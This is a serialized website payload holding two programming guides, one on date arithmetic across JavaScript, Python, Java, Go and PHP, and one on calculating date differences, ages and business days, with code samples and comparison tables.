straightforward.",[33,87809,87811],{"id":87810},"php","PHP",[135,87813,87816],{"className":87814,"code":87815,"language":87810,"meta":141,"style":141},"language-php shiki shiki-themes github-light github-dark","$date = new DateTime('2026-01-15');\n$date->modify('+30 days');\n\u002F\u002F 2026-02-14\n",[143,87817,87818,87823,87828],{"__ignoreMap":141},[1560,87819,87820],{"class":1562,"line":1563},[1560,87821,87822],{},"$date = new DateTime('2026-01-15');\n",[1560,87824,87825],{"class":1562,"line":337},[1560,87826,87827],{},"$date->modify('+30 days');\n",[1560,87829,87830],{"class":1562,"line":343},[1560,87831,87757],{},[16,87833,87834,87835,87838,87839,1531,87842,468],{},"PHP's ",[143,87836,87837],{},"modify"," accepts natural language strings like ",[143,87840,87841],{},"\"+1 month\"",[143,87843,87844],{},"\"next Tuesday\"",[11,87846,87848],{"id":87847},"calculating-the-difference-between-dates","Calculating the Difference Between Dates",[193,87850,87851,87863],{},[196,87852,87853],{},[199,87854,87855,87857,87860],{},[202,87856,9824],{},[202,87858,87859],{},"Code",[202,87861,87862],{},"Returns",[211,87864,87865,87877,87890,87905,87920],{},[199,87866,87867,87869,87874],{},[216,87868,9860],{},[216,87870,87871],{},[143,87872,87873],{},"date2 - date1",[216,87875,87876],{},"Milliseconds",[199,87878,87879,87881,87885],{},[216,87880,9840],{},[216,87882,87883],{},[143,87884,87873],{},[216,87886,87887,87889],{},[143,87888,87725],{}," (days, seconds)",[199,87891,87892,87894,87899],{},[216,87893,9880],{},[216,87895,87896],{},[143,87897,87898],{},"ChronoUnit.DAYS.between(d1, d2)",[216,87900,87901,87904],{},[143,87902,87903],{},"long"," (days)",[199,87906,87907,87909,87914],{},[216,87908,9900],{},[216,87910,87911],{},[143,87912,87913],{},"d2.Sub(d1).Hours() \u002F 24",[216,87915,87916,87919],{},[143,87917,87918],{},"float64"," (hours→days)",[199,87921,87922,87924,87929],{},[216,87923,87811],{},[216,87925,87926],{},[143,87927,87928],{},"$d1->diff($d2)->days",[216,87930,87931,87904],{},[143,87932,87933],{},"int",[33,87935,87937],{"id":87936},"javascript-convert-milliseconds-to-days","JavaScript — Convert Milliseconds to Days",[135,87939,87941],{"className":1607,"code":87940,"language":1609,"meta":141,"style":141},"const msPerDay = 1000 * 60 * 60 * 24;\nconst days = Math.round((date2 - date1) \u002F msPerDay);\n",[143,87942,87943,87968],{"__ignoreMap":141},[1560,87944,87945,87947,87950,87952,87954,87956,87958,87960,87962,87964,87966],{"class":1562,"line":1563},[1560,87946,8180],{"class":1669},[1560,87948,87949],{"class":1576}," msPerDay",[1560,87951,8186],{"class":1669},[1560,87953,82375],{"class":1576},[1560,87955,8064],{"class":1669},[1560,87957,18338],{"class":1576},[1560,87959,8064],{"class":1669},[1560,87961,18338],{"class":1576},[1560,87963,8064],{"class":1669},[1560,87965,18193],{"class":1576},[1560,87967,2228],{"class":1570},[1560,87969,87970,87972,87975,87977,87979,87982,87985,87987,87990,87992],{"class":1562,"line":337},[1560,87971,8180],{"class":1669},[1560,87973,87974],{"class":1576}," days",[1560,87976,8186],{"class":1669},[1560,87978,9393],{"class":1570},[1560,87980,87981],{"class":1566},"round",[1560,87983,87984],{"class":1570},"((date2 ",[1560,87986,9412],{"class":1669},[1560,87988,87989],{"class":1570}," date1) ",[1560,87991,9423],{"class":1669},[1560,87993,87994],{"class":1570}," msPerDay);\n",[16,87996,1388,87997,88000,88001,88004],{},[143,87998,87999],{},"Math.round",", not ",[143,88002,88003],{},"Math.floor",", to handle daylight saving offsets that shift the result by an hour.",[33,88006,88008],{"id":88007},"python-full-interval","Python — Full Interval",[135,88010,88012],{"className":8259,"code":88011,"language":8261,"meta":141,"style":141},"delta = date2 - date1\nprint(delta.days)       # total days\nprint(delta.seconds)    # remaining seconds (0-86399)\nprint(delta.total_seconds())  # exact seconds as float\n",[143,88013,88014,88019,88024,88029],{"__ignoreMap":141},[1560,88015,88016],{"class":1562,"line":1563},[1560,88017,88018],{},"delta = date2 - date1\n",[1560,88020,88021],{"class":1562,"line":337},[1560,88022,88023],{},"print(delta.days)       # total days\n",[1560,88025,88026],{"class":1562,"line":343},[1560,88027,88028],{},"print(delta.seconds)    # remaining seconds (0-86399)\n",[1560,88030,88031],{"class":1562,"line":365},[1560,88032,88033],{},"print(delta.total_seconds())  # exact seconds as float\n",[11,88035,88037],{"id":88036},"adding-months-the-dangerous-operation","Adding Months: The Dangerous Operation",[16,88039,88040],{},"Adding months is where most date bugs live. What happens when you add one month to January 31?",[193,88042,88043,88057],{},[196,88044,88045],{},[199,88046,88047,88049,88052,88054],{},[202,88048,9824],{},[202,88050,88051],{},"Jan 31 + 1 month",[202,88053,70645],{},[202,88055,88056],{},"Logic",[211,88058,88059,88074,88089,88104,88118],{},[199,88060,88061,88063,88068,88071],{},[216,88062,9860],{},[216,88064,88065],{},[143,88066,88067],{},"setMonth(1)",[216,88069,88070],{},"Mar 3",[216,88072,88073],{},"Feb 31 → Mar 3 (overflow)",[199,88075,88076,88078,88083,88086],{},[216,88077,9840],{},[216,88079,88080],{},[143,88081,88082],{},"replace(month=2)",[216,88084,88085],{},"ValueError",[216,88087,88088],{},"Feb 31 does not exist",[199,88090,88091,88093,88098,88101],{},[216,88092,9880],{},[216,88094,88095],{},[143,88096,88097],{},"plusMonths(1)",[216,88099,88100],{},"Feb 28",[216,88102,88103],{},"Clamps to last day of Feb",[199,88105,88106,88108,88113,88115],{},[216,88107,9900],{},[216,88109,88110],{},[143,88111,88112],{},"AddDate(0, 1, 0)",[216,88114,88070],{},[216,88116,88117],{},"Same overflow as JS",[199,88119,88120,88122,88127,88129],{},[216,88121,87811],{},[216,88123,88124],{},[143,88125,88126],{},"modify('+1 month')",[216,88128,88070],{},[216,88130,88117],{},[16,88132,88133],{},"Only Java clamps to the month's last day by default. Other languages overflow into the next month. If you want \"end of month\" semantics, you must implement it explicitly:",[135,88135,88137],{"className":1607,"code":88136,"language":1609,"meta":141,"style":141},"function addMonths(date, months) {\n  const result = new Date(date);\n  result.setMonth(result.getMonth() + months);\n  \u002F\u002F If day overflowed, clamp to last day of target month\n  if (result.getDate() !== date.getDate()) {\n    result.setDate(0); \u002F\u002F Last day of previous month\n  }\n  return result;\n}\n",[143,88138,88139,88158,88173,88194,88199,88219,88234,88238,88245],{"__ignoreMap":141},[1560,88140,88141,88143,88146,88148,88151,88153,88156],{"class":1562,"line":1563},[1560,88142,8648],{"class":1669},[1560,88144,88145],{"class":1566}," addMonths",[1560,88147,1688],{"class":1570},[1560,88149,88150],{"class":2219},"date",[1560,88152,1459],{"class":1570},[1560,88154,88155],{"class":2219},"months",[1560,88157,9345],{"class":1570},[1560,88159,88160,88162,88164,88166,88168,88170],{"class":1562,"line":337},[1560,88161,28057],{"class":1669},[1560,88163,80830],{"class":1576},[1560,88165,8186],{"class":1669},[1560,88167,11489],{"class":1669},[1560,88169,87644],{"class":1566},[1560,88171,88172],{"class":1570},"(date);\n",[1560,88174,88175,88178,88181,88184,88187,88189,88191],{"class":1562,"line":343},[1560,88176,88177],{"class":1570},"  result.",[1560,88179,88180],{"class":1566},"setMonth",[1560,88182,88183],{"class":1570},"(result.",[1560,88185,88186],{"class":1566},"getMonth",[1560,88188,38111],{"class":1570},[1560,88190,9448],{"class":1669},[1560,88192,88193],{"class":1570}," months);\n",[1560,88195,88196],{"class":1562,"line":365},[1560,88197,88198],{"class":1649},"  \u002F\u002F If day overflowed, clamp to last day of target month\n",[1560,88200,88201,88203,88205,88207,88209,88211,88214,88216],{"class":1562,"line":889},[1560,88202,27984],{"class":1669},[1560,88204,38065],{"class":1570},[1560,88206,87665],{"class":1566},[1560,88208,38111],{"class":1570},[1560,88210,13538],{"class":1669},[1560,88212,88213],{"class":1570}," date.",[1560,88215,87665],{"class":1566},[1560,88217,88218],{"class":1570},"()) {\n",[1560,88220,88221,88223,88225,88227,88229,88231],{"class":1562,"line":1710},[1560,88222,38126],{"class":1570},[1560,88224,87659],{"class":1566},[1560,88226,1688],{"class":1570},[1560,88228,5285],{"class":1576},[1560,88230,5171],{"class":1570},[1560,88232,88233],{"class":1649},"\u002F\u002F Last day of previous month\n",[1560,88235,88236],{"class":1562,"line":1717},[1560,88237,4959],{"class":1570},[1560,88239,88240,88242],{"class":1562,"line":1747},[1560,88241,9350],{"class":1669},[1560,88243,88244],{"class":1570}," result;\n",[1560,88246,88247],{"class":1562,"line":2507},[1560,88248,1585],{"class":1570},[11,88250,88252],{"id":88251},"time-zone-pitfalls","Time Zone Pitfalls",[33,88254,9860],{"id":88255},"javascript-1",[135,88257,88259],{"className":1607,"code":88258,"language":1609,"meta":141,"style":141},"\u002F\u002F These produce different dates depending on the system time zone\nnew Date('2026-01-15');        \u002F\u002F Parsed as UTC midnight\nnew Date('2026-01-15T00:00');  \u002F\u002F Parsed as local midnight\n",[143,88260,88261,88266,88281],{"__ignoreMap":141},[1560,88262,88263],{"class":1562,"line":1563},[1560,88264,88265],{"class":1649},"\u002F\u002F These produce different dates depending on the system time zone\n",[1560,88267,88268,88270,88272,88274,88276,88278],{"class":1562,"line":337},[1560,88269,20807],{"class":1669},[1560,88271,87644],{"class":1566},[1560,88273,1688],{"class":1570},[1560,88275,87649],{"class":5634},[1560,88277,50948],{"class":1570},[1560,88279,88280],{"class":1649},"\u002F\u002F Parsed as UTC midnight\n",[1560,88282,88283,88285,88287,88289,88292,88294],{"class":1562,"line":343},[1560,88284,20807],{"class":1669},[1560,88286,87644],{"class":1566},[1560,88288,1688],{"class":1570},[1560,88290,88291],{"class":5634},"'2026-01-15T00:00'",[1560,88293,14724],{"class":1570},[1560,88295,88296],{"class":1649},"\u002F\u002F Parsed as local midnight\n",[16,88298,88299,88300,88303],{},"Date-only strings (",[143,88301,88302],{},"YYYY-MM-DD",") are UTC. Date-time strings without a zone offset are local. This inconsistency causes bugs when servers and clients are in different zones.",[33,88305,9840],{"id":88306},"python-1",[135,88308,88310],{"className":8259,"code":88309,"language":8261,"meta":141,"style":141},"from datetime import datetime, timezone\n\n# Naive — no zone info, do NOT use for arithmetic across zones\nnaive = datetime(2026, 1, 15, 12, 0)\n\n# Aware — carries zone info\naware = datetime(2026, 1, 15, 12, 0, tzinfo=timezone.utc)\n",[143,88311,88312,88317,88321,88326,88331,88335,88340],{"__ignoreMap":141},[1560,88313,88314],{"class":1562,"line":1563},[1560,88315,88316],{},"from datetime import datetime, timezone\n",[1560,88318,88319],{"class":1562,"line":337},[1560,88320,1702],{"emptyLinePlaceholder":363},[1560,88322,88323],{"class":1562,"line":343},[1560,88324,88325],{},"# Naive — no zone info, do NOT use for arithmetic across zones\n",[1560,88327,88328],{"class":1562,"line":365},[1560,88329,88330],{},"naive = datetime(2026, 1, 15, 12, 0)\n",[1560,88332,88333],{"class":1562,"line":889},[1560,88334,1702],{"emptyLinePlaceholder":363},[1560,88336,88337],{"class":1562,"line":1710},[1560,88338,88339],{},"# Aware — carries zone info\n",[1560,88341,88342],{"class":1562,"line":1717},[1560,88343,88344],{},"aware = datetime(2026, 1, 15, 12, 0, tzinfo=timezone.utc)\n",[16,88346,88347],{},"Always use aware datetimes when time zones matter. Subtracting naive datetimes across DST boundaries produces incorrect intervals.",[11,88349,88351],{"id":88350},"quick-reference-table","Quick Reference Table",[193,88353,88354,88371],{},[196,88355,88356],{},[199,88357,88358,88361,88363,88365,88367,88369],{},[202,88359,88360],{},"Operation",[202,88362,9860],{},[202,88364,9840],{},[202,88366,9880],{},[202,88368,9900],{},[202,88370,87811],{},[211,88372,88373,88402,88430,88457,88485],{},[199,88374,88375,88378,88382,88387,88392,88397],{},[216,88376,88377],{},"Add days",[216,88379,88380],{},[143,88381,87659],{},[216,88383,88384],{},[143,88385,88386],{},"+ timedelta",[216,88388,88389],{},[143,88390,88391],{},"plusDays",[216,88393,88394],{},[143,88395,88396],{},"AddDate(0,0,n)",[216,88398,88399],{},[143,88400,88401],{},"modify('+n days')",[199,88403,88404,88407,88411,88415,88420,88425],{},[216,88405,88406],{},"Add months",[216,88408,88409],{},[143,88410,88180],{},[216,88412,88413],{},[143,88414,22721],{},[216,88416,88417],{},[143,88418,88419],{},"plusMonths",[216,88421,88422],{},[143,88423,88424],{},"AddDate(0,n,0)",[216,88426,88427],{},[143,88428,88429],{},"modify('+n months')",[199,88431,88432,88435,88438,88441,88446,88452],{},[216,88433,88434],{},"Difference",[216,88436,88437],{},"subtraction → ms",[216,88439,88440],{},"subtraction → timedelta",[216,88442,88443],{},[143,88444,88445],{},"ChronoUnit.DAYS.between",[216,88447,88448,88451],{},[143,88449,88450],{},"Sub"," → Duration",[216,88453,88454,88456],{},[143,88455,35165],{}," → DateInterval",[199,88458,88459,88461,88466,88471,88476,88480],{},[216,88460,13018],{},[216,88462,88463],{},[143,88464,88465],{},"toLocaleDateString",[216,88467,88468],{},[143,88469,88470],{},"strftime",[216,88472,88473],{},[143,88474,88475],{},"DateTimeFormatter",[216,88477,88478],{},[143,88479,13018],{},[216,88481,88482],{},[143,88483,88484],{},"format",[199,88486,88487,88490,88492,88494,88496,88498],{},[216,88488,88489],{},"Immutable",[216,88491,6117],{},[216,88493,3057],{},[216,88495,3057],{},[216,88497,3057],{},[216,88499,6117],{},[11,88501,1355],{"id":1354},[41,88503,88504,88510,88513,88516,88519],{},[44,88505,88506,88507,88509],{},"JavaScript ",[143,88508,87683],{}," is mutable — all others return new objects",[44,88511,88512],{},"Adding months to day-31 dates causes overflow in most languages — Java clamps, others roll over",[44,88514,88515],{},"Date-only strings parse as UTC; date-time strings parse as local — this JavaScript inconsistency causes subtle bugs",[44,88517,88518],{},"Always use time-zone-aware objects when arithmetic crosses DST boundaries",[44,88520,88521,88522,88525,88526,88528],{},"Use built-in libraries (Python ",[143,88523,88524],{},"datetime",", Java ",[143,88527,87763],{},") instead of hand-rolled date math",[11,88530,286],{"id":285},[16,88532,88533,88534,88536],{},"Calculate exact age differences and date intervals with our ",[98,88535,101],{"href":100},". Enter two dates and see the precise difference in years, months, and days.",[2043,88538,88539],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}",{"title":141,"searchDepth":337,"depth":337,"links":88541},[88542,88543,88550,88554,88555,88559,88560,88561],{"id":87615,"depth":337,"text":87616},{"id":87622,"depth":337,"text":87623,"children":88544},[88545,88546,88547,88548,88549],{"id":1609,"depth":343,"text":9860},{"id":8261,"depth":343,"text":9840},{"id":10185,"depth":343,"text":9880},{"id":39417,"depth":343,"text":9900},{"id":87810,"depth":343,"text":87811},{"id":87847,"depth":337,"text":87848,"children":88551},[88552,88553],{"id":87936,"depth":343,"text":87937},{"id":88007,"depth":343,"text":88008},{"id":88036,"depth":337,"text":88037},{"id":88251,"depth":337,"text":88252,"children":88556},[88557,88558],{"id":88255,"depth":343,"text":9860},{"id":88306,"depth":343,"text":9840},{"id":88350,"depth":337,"text":88351},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Compare date arithmetic approaches across JavaScript, Python, Java, Go, and PHP — from adding days to calculating intervals and handling time zones.",{"immutable":363},"\u002Fguides\u002Fdate-arithmetic-different-languages",{"title":87610,"description":88562},"guides\u002Fdate-arithmetic-different-languages","cU6vNrc8BUFTvDOfsIvPpOmCr0s8Jz4ctz0q4xzEBtA",{"id":88569,"title":88570,"body":88571,"date":2070,"description":89161,"extension":361,"meta":89162,"navigation":363,"path":89163,"readingTime":1717,"seo":89164,"stem":89165,"__hash__":89166},"guides\u002Fguides\u002Fdate-difference-calculation.md","How to Calculate Date Differences",{"type":8,"value":88572,"toc":89150},[88573,88577,88580,88584,88587,88591,88638,88642,88645,88656,88884,88888,88891,88953,88959,88963,88966,89105,89108,89112,89140,89142,89147],[11,88574,88576],{"id":88575},"why-date-differences-matter","Why Date Differences Matter",[16,88578,88579],{},"Calculating the time between two dates comes up constantly — project deadlines, age verification, subscription billing, and legal compliance all depend on precise date math. Getting it wrong can cause billing errors or regulatory violations.",[11,88581,88583],{"id":88582},"the-challenge-with-months","The Challenge with Months",[16,88585,88586],{},"Days are fixed units, but months vary from 28 to 31 days. This makes \"1 month ago\" ambiguous without context. February 28 minus one month could reasonably be January 28 or January 31, depending on the convention.",[33,88588,88590],{"id":88589},"common-approaches","Common Approaches",[193,88592,88593,88603],{},[196,88594,88595],{},[199,88596,88597,88599,88601],{},[202,88598,81881],{},[202,88600,31483],{},[202,88602,489],{},[211,88604,88605,88616,88627],{},[199,88606,88607,88610,88613],{},[216,88608,88609],{},"Day count",[216,88611,88612],{},"Count total days between dates",[216,88614,88615],{},"Short durations, deadlines",[199,88617,88618,88621,88624],{},[216,88619,88620],{},"Calendar months",[216,88622,88623],{},"Increment\u002Fdecrement months, adjust days",[216,88625,88626],{},"Age, billing, contracts",[199,88628,88629,88632,88635],{},[216,88630,88631],{},"30-day month",[216,88633,88634],{},"Assume 30 days per month",[216,88636,88637],{},"Financial calculations",[11,88639,88641],{"id":88640},"calculating-age-from-date-of-birth","Calculating Age from Date of Birth",[16,88643,88644],{},"Age calculation requires calendar-month logic, not simple division:",[77,88646,88647,88650,88653],{},[44,88648,88649],{},"Subtract birth year from current year",[44,88651,88652],{},"If the current month-day is before the birth month-day, subtract 1",[44,88654,88655],{},"Handle February 29 births in non-leap years",[135,88657,88659],{"className":1607,"code":88658,"language":1609,"meta":141,"style":141},"function calculateAge(birthDate, referenceDate = new Date()) {\n  let years = referenceDate.getFullYear() - birthDate.getFullYear()\n  let months = referenceDate.getMonth() - birthDate.getMonth()\n  let days = referenceDate.getDate() - birthDate.getDate()\n\n  if (days \u003C 0) {\n    months--\n    const prevMonth = new Date(referenceDate.getFullYear(), referenceDate.getMonth(), 0)\n    days += prevMonth.getDate()\n  }\n\n  if (months \u003C 0) {\n    years--\n    months += 12\n  }\n\n  return { years, months, days }\n}\n",[143,88660,88661,88686,88712,88735,88758,88762,88775,88783,88813,88827,88831,88835,88848,88855,88865,88869,88873,88880],{"__ignoreMap":141},[1560,88662,88663,88665,88668,88670,88673,88675,88678,88680,88682,88684],{"class":1562,"line":1563},[1560,88664,8648],{"class":1669},[1560,88666,88667],{"class":1566}," calculateAge",[1560,88669,1688],{"class":1570},[1560,88671,88672],{"class":2219},"birthDate",[1560,88674,1459],{"class":1570},[1560,88676,88677],{"class":2219},"referenceDate",[1560,88679,8186],{"class":1669},[1560,88681,11489],{"class":1669},[1560,88683,87644],{"class":1566},[1560,88685,88218],{"class":1570},[1560,88687,88688,88690,88693,88695,88698,88701,88703,88705,88708,88710],{"class":1562,"line":337},[1560,88689,38049],{"class":1669},[1560,88691,88692],{"class":1570}," years ",[1560,88694,7297],{"class":1669},[1560,88696,88697],{"class":1570}," referenceDate.",[1560,88699,88700],{"class":1566},"getFullYear",[1560,88702,38111],{"class":1570},[1560,88704,9412],{"class":1669},[1560,88706,88707],{"class":1570}," birthDate.",[1560,88709,88700],{"class":1566},[1560,88711,27830],{"class":1570},[1560,88713,88714,88716,88719,88721,88723,88725,88727,88729,88731,88733],{"class":1562,"line":343},[1560,88715,38049],{"class":1669},[1560,88717,88718],{"class":1570}," months ",[1560,88720,7297],{"class":1669},[1560,88722,88697],{"class":1570},[1560,88724,88186],{"class":1566},[1560,88726,38111],{"class":1570},[1560,88728,9412],{"class":1669},[1560,88730,88707],{"class":1570},[1560,88732,88186],{"class":1566},[1560,88734,27830],{"class":1570},[1560,88736,88737,88739,88742,88744,88746,88748,88750,88752,88754,88756],{"class":1562,"line":365},[1560,88738,38049],{"class":1669},[1560,88740,88741],{"class":1570}," days ",[1560,88743,7297],{"class":1669},[1560,88745,88697],{"class":1570},[1560,88747,87665],{"class":1566},[1560,88749,38111],{"class":1570},[1560,88751,9412],{"class":1669},[1560,88753,88707],{"class":1570},[1560,88755,87665],{"class":1566},[1560,88757,27830],{"class":1570},[1560,88759,88760],{"class":1562,"line":889},[1560,88761,1702],{"emptyLinePlaceholder":363},[1560,88763,88764,88766,88769,88771,88773],{"class":1562,"line":1710},[1560,88765,27984],{"class":1669},[1560,88767,88768],{"class":1570}," (days ",[1560,88770,6431],{"class":1669},[1560,88772,13541],{"class":1576},[1560,88774,9345],{"class":1570},[1560,88776,88777,88780],{"class":1562,"line":1717},[1560,88778,88779],{"class":1570},"    months",[1560,88781,88782],{"class":1669},"--\n",[1560,88784,88785,88787,88790,88792,88794,88796,88799,88801,88804,88806,88809,88811],{"class":1562,"line":1747},[1560,88786,9385],{"class":1669},[1560,88788,88789],{"class":1576}," prevMonth",[1560,88791,8186],{"class":1669},[1560,88793,11489],{"class":1669},[1560,88795,87644],{"class":1566},[1560,88797,88798],{"class":1570},"(referenceDate.",[1560,88800,88700],{"class":1566},[1560,88802,88803],{"class":1570},"(), referenceDate.",[1560,88805,88186],{"class":1566},[1560,88807,88808],{"class":1570},"(), ",[1560,88810,5285],{"class":1576},[1560,88812,8252],{"class":1570},[1560,88814,88815,88818,88820,88823,88825],{"class":1562,"line":2507},[1560,88816,88817],{"class":1570},"    days ",[1560,88819,28386],{"class":1669},[1560,88821,88822],{"class":1570}," prevMonth.",[1560,88824,87665],{"class":1566},[1560,88826,27830],{"class":1570},[1560,88828,88829],{"class":1562,"line":2524},[1560,88830,4959],{"class":1570},[1560,88832,88833],{"class":1562,"line":2529},[1560,88834,1702],{"emptyLinePlaceholder":363},[1560,88836,88837,88839,88842,88844,88846],{"class":1562,"line":2534},[1560,88838,27984],{"class":1669},[1560,88840,88841],{"class":1570}," (months ",[1560,88843,6431],{"class":1669},[1560,88845,13541],{"class":1576},[1560,88847,9345],{"class":1570},[1560,88849,88850,88853],{"class":1562,"line":2542},[1560,88851,88852],{"class":1570},"    years",[1560,88854,88782],{"class":1669},[1560,88856,88857,88860,88862],{"class":1562,"line":2558},[1560,88858,88859],{"class":1570},"    months ",[1560,88861,28386],{"class":1669},[1560,88863,88864],{"class":1576}," 12\n",[1560,88866,88867],{"class":1562,"line":2570},[1560,88868,4959],{"class":1570},[1560,88870,88871],{"class":1562,"line":6638},[1560,88872,1702],{"emptyLinePlaceholder":363},[1560,88874,88875,88877],{"class":1562,"line":11615},[1560,88876,9350],{"class":1669},[1560,88878,88879],{"class":1570}," { years, months, days }\n",[1560,88881,88882],{"class":1562,"line":11621},[1560,88883,1585],{"class":1570},[11,88885,88887],{"id":88886},"computing-days-between-two-dates","Computing Days Between Two Dates",[16,88889,88890],{},"For simple day counts, use the difference in milliseconds:",[135,88892,88894],{"className":1607,"code":88893,"language":1609,"meta":141,"style":141},"const daysBetween = (start, end) =>\n  Math.floor((end - start) \u002F (1000 * 60 * 60 * 24))\n",[143,88895,88896,88918],{"__ignoreMap":141},[1560,88897,88898,88900,88903,88905,88907,88909,88911,88913,88915],{"class":1562,"line":1563},[1560,88899,8180],{"class":1669},[1560,88901,88902],{"class":1566}," daysBetween",[1560,88904,8186],{"class":1669},[1560,88906,5181],{"class":1570},[1560,88908,62962],{"class":2219},[1560,88910,1459],{"class":1570},[1560,88912,63069],{"class":2219},[1560,88914,1733],{"class":1570},[1560,88916,88917],{"class":1669},"=>\n",[1560,88919,88920,88923,88925,88928,88930,88933,88935,88937,88939,88941,88943,88945,88947,88949,88951],{"class":1562,"line":337},[1560,88921,88922],{"class":1570},"  Math.",[1560,88924,9406],{"class":1566},[1560,88926,88927],{"class":1570},"((end ",[1560,88929,9412],{"class":1669},[1560,88931,88932],{"class":1570}," start) ",[1560,88934,9423],{"class":1669},[1560,88936,5181],{"class":1570},[1560,88938,80124],{"class":1576},[1560,88940,8064],{"class":1669},[1560,88942,18338],{"class":1576},[1560,88944,8064],{"class":1669},[1560,88946,18338],{"class":1576},[1560,88948,8064],{"class":1669},[1560,88950,18193],{"class":1576},[1560,88952,9429],{"class":1570},[16,88954,88955,88956,88958],{},"This works reliably because JavaScript Date subtraction returns milliseconds. Always use ",[143,88957,88003],{}," to avoid fractional days from time components.",[11,88960,88962],{"id":88961},"business-days-calculation","Business Days Calculation",[16,88964,88965],{},"Excluding weekends requires iterating through the date range:",[135,88967,88969],{"className":1607,"code":88968,"language":1609,"meta":141,"style":141},"function businessDaysBetween(start, end) {\n  let count = 0\n  const current = new Date(start)\n  while (current \u003C= end) {\n    const day = current.getDay()\n    if (day !== 0 && day !== 6) count++\n    current.setDate(current.getDate() + 1)\n  }\n  return count\n}\n",[143,88970,88971,88988,88999,89015,89027,89044,89070,89090,89094,89101],{"__ignoreMap":141},[1560,88972,88973,88975,88978,88980,88982,88984,88986],{"class":1562,"line":1563},[1560,88974,8648],{"class":1669},[1560,88976,88977],{"class":1566}," businessDaysBetween",[1560,88979,1688],{"class":1570},[1560,88981,62962],{"class":2219},[1560,88983,1459],{"class":1570},[1560,88985,63069],{"class":2219},[1560,88987,9345],{"class":1570},[1560,88989,88990,88992,88995,88997],{"class":1562,"line":337},[1560,88991,38049],{"class":1669},[1560,88993,88994],{"class":1570}," count ",[1560,88996,7297],{"class":1669},[1560,88998,28274],{"class":1576},[1560,89000,89001,89003,89006,89008,89010,89012],{"class":1562,"line":343},[1560,89002,28057],{"class":1669},[1560,89004,89005],{"class":1576}," current",[1560,89007,8186],{"class":1669},[1560,89009,11489],{"class":1669},[1560,89011,87644],{"class":1566},[1560,89013,89014],{"class":1570},"(start)\n",[1560,89016,89017,89019,89022,89024],{"class":1562,"line":365},[1560,89018,38062],{"class":1669},[1560,89020,89021],{"class":1570}," (current ",[1560,89023,22757],{"class":1669},[1560,89025,89026],{"class":1570}," end) {\n",[1560,89028,89029,89031,89034,89036,89039,89042],{"class":1562,"line":889},[1560,89030,9385],{"class":1669},[1560,89032,89033],{"class":1576}," day",[1560,89035,8186],{"class":1669},[1560,89037,89038],{"class":1570}," current.",[1560,89040,89041],{"class":1566},"getDay",[1560,89043,27830],{"class":1570},[1560,89045,89046,89048,89051,89053,89055,89057,89060,89062,89064,89067],{"class":1562,"line":1710},[1560,89047,11527],{"class":1669},[1560,89049,89050],{"class":1570}," (day ",[1560,89052,13538],{"class":1669},[1560,89054,13541],{"class":1576},[1560,89056,39056],{"class":1669},[1560,89058,89059],{"class":1570}," day ",[1560,89061,13538],{"class":1669},[1560,89063,43195],{"class":1576},[1560,89065,89066],{"class":1570},") count",[1560,89068,89069],{"class":1669},"++\n",[1560,89071,89072,89075,89077,89080,89082,89084,89086,89088],{"class":1562,"line":1717},[1560,89073,89074],{"class":1570},"    current.",[1560,89076,87659],{"class":1566},[1560,89078,89079],{"class":1570},"(current.",[1560,89081,87665],{"class":1566},[1560,89083,38111],{"class":1570},[1560,89085,9448],{"class":1669},[1560,89087,18868],{"class":1576},[1560,89089,8252],{"class":1570},[1560,89091,89092],{"class":1562,"line":1747},[1560,89093,4959],{"class":1570},[1560,89095,89096,89098],{"class":1562,"line":2507},[1560,89097,9350],{"class":1669},[1560,89099,89100],{"class":1570}," count\n",[1560,89102,89103],{"class":1562,"line":2524},[1560,89104,1585],{"class":1570},[16,89106,89107],{},"For production use, also subtract public holidays by maintaining a holiday calendar.",[11,89109,89111],{"id":89110},"edge-cases-to-watch","Edge Cases to Watch",[41,89113,89114,89128,89134],{},[44,89115,89116,89119,89120,89123,89124,89127],{},[47,89117,89118],{},"Timezone differences",": Dates created as ",[143,89121,89122],{},"new Date(\"2024-01-01\")"," are UTC, while ",[143,89125,89126],{},"new Date(2024, 0, 1)"," is local. Mixing them causes off-by-one errors.",[44,89129,89130,89133],{},[47,89131,89132],{},"Daylight saving time",": A day is not always 24 hours near DST transitions. Use date-only arithmetic, not hour-based math.",[44,89135,89136,89139],{},[47,89137,89138],{},"Leap seconds",": Standard JavaScript does not handle leap seconds. For most applications, this is irrelevant.",[11,89141,286],{"id":285},[16,89143,18550,89144,89146],{},[98,89145,101],{"href":100}," to compute exact age in years, months, and days with all edge cases handled automatically.",[2043,89148,89149],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html .default .shiki span {color: 